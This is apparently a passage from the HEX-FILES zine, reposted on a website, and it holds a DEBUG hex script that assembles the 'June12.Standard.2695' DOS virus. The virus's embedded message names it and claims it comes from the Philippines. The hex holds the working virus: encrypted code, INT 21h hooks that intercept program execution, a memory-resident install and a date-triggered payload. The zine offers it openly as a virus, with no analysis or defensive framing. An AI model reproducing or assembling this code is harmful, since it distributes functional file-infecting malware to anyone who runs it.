E 0350 02 10 00 9C DF D3 D1 D1 DD D2 D8 B2 DF D3 D1 D9
E 0360 C4 D9 D6 E9 F2 F9 BC AD AE BC B1 BC E8 F4 F9 BC
E 0370 D5 F2 F8 F9 EC F9 F2 F8 F9 F2 FF F9 BC D8 FD E5
E 0380 BC F3 FA BC E8 F4 F9 BC CC F4 F5 F0 F5 EC EC F5
E 0390 F2 F9 EF B2 BC 9E 43 9E BC BC 63 63 BC 9E B6 9D
E 03A0 BC 9F 43 9E BC 80 63 63 BC 96 43 9E BC 84 63 63
E 03B0 BC 99 C0 9D 2F 9D B3 9D BC 9A 43 9E BC 88 63 63
E 03C0 BC 98 58 9D 58 9D 93 9D 58 9D 58 9D BC 99 B6 9D
E 03D0 BC 9F 43 8E 63 63 BC 99 B3 9D 2F 9D C0 9D BC 9A
E 03E0 40 9E BC 88 63 63 BC 96 40 9E BC 84 63 63 BC 9E
E 03F0 B6 9D BC 9F 40 9E BC 80 63 63 BC 9E 40 9E BC BC
E 0400 63 63 EC ED 8C EC E2 EC ED 8C EC ED 8C EC E2 E2
E 0410 E2 EC ED 8C EC E2 E2 E2 E2 E2 EC E2 EC DD EC E2
E 0420 E2 E2 EC E8 DC EC E8 DC EC E2 EC E8 DC EC E8 DC
E 0430 D1 D8 DD F9 DE F8 C9 F5 D4 FF DD FD C5 E8 BC F9
E 0440 DD F8 D2 BC DB E8 BC F3 CC BC D5 D1 D0 FD D5 F2
E 0450 CC F3 D5 F2 D2 FB DD BC CF D9 BD F8 BC F8 BC F5
E 0460 BC F9 BC B2 94 9E 94 9E 5E 9D 5E 9D A8 9E 08 9D
E 0470 A8 9E 08 9D EC 9E EC 9E D2 9E D2 9E 19 9E A4 9E
E 0480 1A 9E A4 9E C7 91 BD 92 78 97 C7 91 56 8D 78 97
E 0490 04 96 9C 96 04 96 78 97 04 96 C7 91 C7 91 BD 92
E 04A0 78 97 C7 91 56 8D 78 97 04 96 9C 96 04 96 78 97
E 04B0 B0 9C C7 91 BD 92 C7 91 78 97 78 97 56 8D 56 8D
E 04C0 78 97 78 97 56 8D 56 8D 04 96 F3 95 75 94 6D 9B
E 04D0 75 94 C7 91 BD 92 C7 91 78 97 78 97 56 8D 56 8D
E 04E0 78 97 78 97 56 8D 56 8D 04 96 9C 96 04 96 78 97
E 04F0 04 96 78 97 C7 91 B0 9C C7 91 46 93 C7 91 9C 96
E 0500 9C 96 75 94 75 94 6D 9B 75 94 9C 96 75 94 6D 9B
E 0510 E2 9B 6D 9B 75 94 6D 9B 9C 96 75 94 04 96 04 96
E 0520 9C 96 B0 9C C7 91 B0 9C 90 95 9F 90 90 98 98 98
E 0530 95 9F 90 90 90 95 9F 90 90 98 98 98 95 9F 98 98
E 0540 98 95 9F 95 9F 95 9F 95 9F 95 9F 95 9F 90 98 98
E 0550 98 95 9F 95 9F 95 9F 95 9F 98 98 98 98 98 98 90
E 0560 98 98 98 90 90 90 90 95 9F 95 9F 90 98 98 98 90
E 0570 90 90 95 9F B8 90 84 9C 32 C0 CF 50 56 9C BE 87
E 0580 02 2E 8A 04 2E 30 44 FF 4E 83 FE 63 75 F6 9D 5E
E 0590 58 C3 50 53 51 52 57 56 06 1E B4 2A CD 21 80 FE
E 05A0 06 75 08 80 FA 0C 75 03 E8 B4 05 1F 07 5E 5F 5A
E 05B0 59 5B 58 C3 56 9C BE EB 04 2E F6 14 46 81 FE AB
E 05C0 06 75 F6 BE B9 06 2E F6 14 46 81 FE 8A 07 75 F6
E 05D0 BE 92 07 2E F6 14 46 81 FE ED 07 75 F6 9D 5E C3
E 05E0 07 B4 EF CD 21 80 FC EF 73 15 3D 5B 02 75 10 B4
E 05F0 FF BF 00 01 BE 0B 01 06 1F 8B 0E 04 00 CD 21 8C
E 0600 C8 8E D0 BC 85 0A FC EB 00 2E 80 2E 20 03 05 EB
E 0610 05 B8 00 4C CD 21 2E 80 3E 58 00 00 74 03 E8 EC
E 0620 04 F9 D1 73 F9 F9 FF D1 73 F9 F3 FF D1 73 F9 EF
E 0630 FF D1 73 F9 EB FF 73 3F FA EF FF D1 FE F9 E3 FF
E 0640 D1 FE F9 E7 FF 4B 10 D1 7F F9 DF FC FA 32 DE 7F
E 0650 03 10 8C EF F8 D1 71 E9 E7 FF D1 74 D9 E9 FF D1
E 0660 00 D1 E5 FF CC 3F 71 3F D9 5E 03 FC D1 5C E1 FF
E 0670 D9 5F 01 FC D1 5D DF FF D9 38 F9 03 FC 0C 5A D9
E 0680 39 F9 01 FC 34 A7 FA EF FF 71 3F F1 E0 46 78 F5
E 0690 2E 16 CC 09 74 01 F9 47 4F FC AF 15 03 FC FF FF
E 06A0 73 37 71 2F 43 FF F3 CC 3F 71 27 D1 5E E1 FF 5C
E 06B0 03 FC D1 5F DF FF 5D 01 FC 74 23 4E FB 2C 14 7C
E 06C0 3C DF 4B B5 D1 71 F9 F9 FF 32 DE 47 DE CA 32 DE
E 06D0 D1 76 E1 DE FF D1 73 F9 DC FF F1 E0 45 A0 FB 47
E 06E0 DE DA 32 DE 71 F9 F9 FF D9 71 F9 D3 FF CC 00 46
E 06F0 00 80 CD 3F 0D 51 D9 C7 FA 1F 06 74 28 7C 3D FC
E 0700 CD 3F D1 5D C4 FF 47 FF B4 F9 E0 F1 F8 44 F7 FF
E 0710 2E 80 3E 58 00 00 75 03 E8 F2 03 9C 2E FF 1E 21
E 0720 00 2E 80 3E 58 00 00 74 03 E8 E1 03 E1 F8 4B B6
E 0730 32 DE 4B B2 32 DE 2E 80 3E 58 00 00 75 03 E8 CC
E 0740 03 B4 31 BA 87 09 B1 04 D3 EA 83 C2 11 CD 21 9C
E 0750 80 FC EF 75 05 B8 5B 02 9D CF 80 FC FF 74 17 3D
E 0760 00 4B 75 02 EB 2E 2E 80 3E 3B 00 00 75 05 80 FC
E 0770 3D 74 1D E9 86 03 58 58 B8 00 01 2E A3 25 00 58
E 0780 8C C0 2E A3 27 00 F3 A4 9D 33 C0 2E FF 2E 25 00
E 0790 A8 07 75 DF 2E FE 06 3B 00 2E C7 06 29 00 FF FF
E 07A0 2E C6 06 2B 00 00 2E 89 16 2C 00 2E 8C 1E 2E 00
E 07B0 50 53 51 52 56 57 1E 06 55 FC 1E 52 0E 1F B8 24
E 07C0 35 CD 21 89 1E 33 00 8C 06 35 00 BA 88 02 B8 24
E 07D0 25 CD 21 5A 1F E8 A3 FD E8 D9 FD 74 05 CD 2D 7F
E 07E0 82 FE C5 8A FA 75 EA 7F 1D E0 4B C9 32 DE C2 00
E 07F0 00 8A FC 16 31 FD 08 1C 08 1E F4 2D 8A FA C2 78
E 0800 F5 8D 0F D1 74 E9 D3 FF E1 F8 CD 3F 46 D6 FF 0D
E 0810 51 D1 74 C9 D3 FF 75 FB F5 3F 8B F1 C3 9E 8D F8
E 0820 C3 85 88 FC 7F D3 DF B9 14 13 F1 F8 A9 46 FC FF
E 0830 D4 0E 40 93 FF CD 3F D1 5D CD FF 0C 59 A1 8A FD
E 0840 14 E9 D1 01 F9 CD FF A9 46 FC FF D4 0E 40 90 FF
E 0850 0C 59 A1 8B FC 16 93 FD 46 F4 FF D4 0E 40 9B FF
E 0860 0C 59 8A FC 16 A2 FD 47 FF BC 32 DE 8D FA D1 76
E 0870 F1 CF FF 8D FA 47 FF C2 32 DE 8D F4 D1 5C D6 FF
E 0880 4B B7 44 FC FF 32 DE 8D E6 D1 01 F9 D4 FF D1 74
E 0890 E1 D6 FF 71 27 46 00 00 45 00 F8 08 25 47 FD BD
E 08A0 32 DE 8D ED FA 00 F8 D1 5C FB FF 46 CF FF CC 2D
E 08B0 74 0D 4B C0 32 DE 8D E6 46 CF FF 40 77 FD F1 F8
E 08C0 0C 59 E1 F8 8A F8 4B C1 32 DE 16 08 FE 4B B6 32
E 08D0 DE 8D EE D1 01 F1 D4 FF D1 3A E9 D3 FF CC 36 47
E 08E0 FE BC 32 DE 8D E5 D1 01 F9 A5 FF D1 74 E1 D6 FF
E 08F0 4B C1 32 DE D1 38 F9 D6 FF 00 00 47 FD C2 32 DE
E 0900 8D D6 D1 5C D6 FF 73 37 71 27 71 3F 74 E1 D6 FF
E 0910 47 FF A8 32 DE 76 E9 C8 FF 76 F1 C6 FF D1 01 F9
E 0920 A6 FF CC 36 74 2E 47 FF BD 32 DE 8D A0 7F C1 CD
E 0930 FF FF 8B FC 16 73 FF 44 FF EF 4B B7 32 DE 8C F4
E 0940 4B C1 74 E1 D6 FF 32 DE 16 86 FE 01 F9 D4 FF 71
E 0950 3F CC 00 41 ED F7 46 F4 FF 0C 5B 5E FB FF FA F4
E 0960 FF 74 37 DA 0F 00 FA EF FF D4 37 08 26 78 16 4E
E 0970 FB 2C 17 FA EF FF D9 5C FB FF 74 28 74 F1 FB FF
E 0980 74 E1 D6 FF E1 F9 E0 4B C0 32 DE E0 8D CF FC 06
E 0990 78 16 CD 3F 0C 55 CC 09 46 78 F5 E8 16 FC E8 DA
E 09A0 FB F3 A4 E8 D5 FB E8 0B FC F9 E0 FC 06 CC 36 74
E 09B0 2E 47 FF BD 32 DE 74 30 CC 2D 4B BF 32 DE 8D F2
E 09C0 16 3D FF 46 E3 FF 45 C3 FF 4B C0 32 DE 8D BB 5E
E 09D0 B5 FF 5C E7 FF 5E B3 FF 5C E9 FF 5E AF FF 5C E5
E 09E0 FF 5E AD FF 5C E3 FF 5E BF FF 7C C1 C1 FF FF 8B
E 09F0 FE B7 08 D9 A0 FF FC F9 C1 FF 7C 2D FF FA F0 FF
E 0A00 7C 2D FF DA 0F 00 5C A2 FF 76 E9 A4 FF FA 78 F5
E 0A10 7C 2D FF 8D C5 08 C9 A0 FF F4 2D 8B FE BF 5C BF
E 0A20 FF 76 E9 C1 FF 5E A2 FF 74 E9 A4 FF 08 C9 9E FF
E 0A30 D4 F9 BB FF 5C AD FF 38 F9 AF FF E9 FC 5C B5 FF
E 0A40 38 F9 B3 FF 7A F5 CC 36 74 2E 47 FF BD 32 DE 8D
E 0A50 F5 46 E3 FF 45 C3 FF 4B BF 32 DE 8D EE C4 3E 8A
E 0A60 DB 74 E9 A2 FF 74 F1 A4 FF 47 FF BD 32 DE 8D EA
E 0A70 CC 2D 46 78 F5 4B BF 17 FE 04 E8 37 FB CD 21 E8
E 0A80 32 FB 17 09 05 D1 7C C1 D6 FF 00 8B C8 D1 7F C1
E 0A90 A6 FF FF 8B EB D1 74 E1 D6 FF D1 74 E9 C8 FF D1
E 0AA0 74 F1 C6 FF 47 FE A8 32 DE 4B C1 32 DE D1 7F C1
E 0AB0 A5 FF FF 8B F0 D1 3A E9 D3 FF D1 74 F1 CF FF 47
E 0AC0 FE BC 32 DE D1 3A E9 CC FF 47 DB DA 32 DE D1 7F
E 0AD0 C1 D4 FF FF 8B FB 4B B6 32 DE 17 61 05 E8 D4 FA
E 0AE0 32 C0 2E A2 3B 00 8B EC 8B 46 10 3D 00 4B 75 03
E 0AF0 E8 9F FA 5D 07 1F 5F 5E 5A 59 5B 58 9D 2E FF 2E
E 0B00 21 00 0E 8C C8 05 4B 50 50 33 C0 50 CB 56 BE 31
E 0B10 03 2E F6 14 46 81 FE 20 04 75 F6 BE 3C 04 2E F6
E 0B20 14 46 81 FE 46 04 75 F6 2E 80 36 58 00 07 5E C3
E 0B30 B8 19 07 B9 00 00 BA 4F 18 B7 07 CD 10 C3 51 8A
E 0B40 CC 32 ED B4 09 CD 10 59 C3 B4 02 CD 10 87 CD 8A
E 0B50 05 B4 09 CD 10 FE C2 83 C7 02 87 CD E2 EB C3 B8
E 0B60 40 00 8E D8 BE 63 00 AD 3D B4 03 74 04 B0 03 EB
E 0B70 02 B0 07 B4 00 CD 10 0E 1F B4 03 32 FF CD 10 51
E 0B80 B4 01 B9 01 02 CD 10 E8 F1 F9 FB BE 72 00 BA 0F
E 0B90 02 32 FF B3 0F B4 02 CD 10 B9 32 00 BD 01 00 AC
E 0BA0 B4 09 87 CD CD 10 87 CD FE C2 B4 02 CD 10 E2 EF
E 0BB0 32 FF BA 16 04 BE A4 00 BF 12 01 B9 09 00 B4 02
E 0BC0 CD 10 AD 3C FF 74 0A 02 D4 8A 1D E8 70 FF 47 EB
E 0BD0 ED FE C6 B2 16 E2 E7 BF 40 01 BA 1D 0F B9 16 00
E 0BE0 BD 01 00 B3 8F E8 61 FF BF 41 01 BA 1B 12 B9 1A
E 0BF0 00 B3 0E E8 53 FF BB 50 C3 8A C3 E6 40 8A C7 E6
E 0C00 40 E4 61 50 B9 08 00 8B F9 4F D1 E7 8B B5 74 01
E 0C10 8B BD 84 01 51 E8 2C 00 59 E2 EC 58 E6 61 32 C0
E 0C20 E6 40 E6 40 B8 40 00 8E D8 BF 40 00 C6 05 01 32
E 0C30 FF 33 D2 B4 02 CD 10 FA E8 40 F9 E8 F2 FE 59 B4
E 0C40 01 CD 10 C3 8B 1C B0 B6 E6 43 8B C3 E6 42 86 E0
E 0C50 E6 42 E4 61 0C 03 E6 61 8A 0D 1E 56 B8 40 00 8E
E 0C60 D8 BE 40 00 88 0C 80 3C 00 75 FB 5E 1F 83 C6 02
E 0C70 47 80 3C 2C 75 CE C3 8C C8 8E D0 BC 85 0A 8E D8
E 0C80 4D 28 0E 00 10 5B 02 75 54 52 41 50 45 58 45 00
E 0C90 0E 8C C8 05 2F 00 50 33 C0 50 CB E9 D4 01 0D 20
E 0CA0 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A 54
E 0CB0 68 69 73 20 69 73 20 4A 75 6E 65 31 32 2E 53 74
E 0CC0 61 6E 64 61 72 64 2E 32 36 39 35 20 76 69 72 75
E 0CD0 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20
E 0CE0 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70
E 0CF0 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74
E 0D00 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45
E 0D10 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A 0A
E 0D20 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75
E 0D30 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72
E 0D40 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C
E 0D50 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D
E 0D60 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 6D
E 0D70 61 67 69 6E 61 72 79

RCX
0C77
W
Q

ÄÄ J12STD-B.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ





-=<HF3>=-

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT